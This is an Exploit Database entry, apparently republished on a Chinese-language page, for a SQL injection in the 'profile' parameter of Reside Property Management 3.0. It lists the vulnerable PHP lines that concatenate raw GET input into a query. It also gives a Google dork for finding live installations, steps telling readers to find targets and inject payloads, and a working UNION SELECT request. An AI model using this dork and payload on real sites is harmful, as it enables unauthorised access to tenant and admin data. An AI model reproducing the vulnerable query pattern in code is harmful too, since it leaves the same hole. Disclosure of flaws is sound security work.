Reside Property Management 3.0 – ‘profile’ SQL Injection

• Exploit Database
• 34 阅读

• 作者： Behzad Khalifeh
  日期： 2020-06-30
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48627/

• # Exploit Title: Reside Property Management 3.0 - 'profile' SQL Injection
  # Date: 2020-06-28
  # Google Dork: "Copyright 2020 Reside Property Management"
  # Exploit Author: Ultra Security Team (Ashkan Moghaddas , AmirMohammad Safari)
  # Team Members: Behzad Khalifeh , Milad Ranjbar
  # Vendor Homepage: https://www.13plugins.com/product/reside-v3-rental-property-management-php-script/
  # Version: v3.0 [Final Version]
  # Tested on: Windows/Linux
  # CVE: N/A
  
  .:: Description ::.
  RESIDE makes it easy to manage all of your tenants & properties, record payments, and keep everything accessible any time, from any computer or device.
  
  
  .:: Vulnerable File ::.
  profile.php
  
  
  .:: Vulnerable Code ::.
  - Line 21: $profile = $_GET['profile'];
  - Line 22: $adminsName = preg_replace('/-/', ' ', $profile);
  - Line 90: $sql = "SELECT * FROM admins WHERE adminName = '" . $adminsName . "'";
  - Line 91: mysqli_query $result = mysqli_query($mysqli, $sql) or die ('-1' . mysqli_error());
  
  
  .:: Proof Of Concept (PoC) ::.
  Step 1 - Find Your Target With the above Dork.
  Step 2 - Find profile.php File in Target
  Step 3 - Inject Your Payloads in profile parameter
  
  
  .:: Sample Request ::.
  localhost/reside-rental-property-management/Reside/profile.php?profile=-21%27+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,user(),11,12,13,14,15,16,17,18,19,20,21,22,user(),24,25,26%23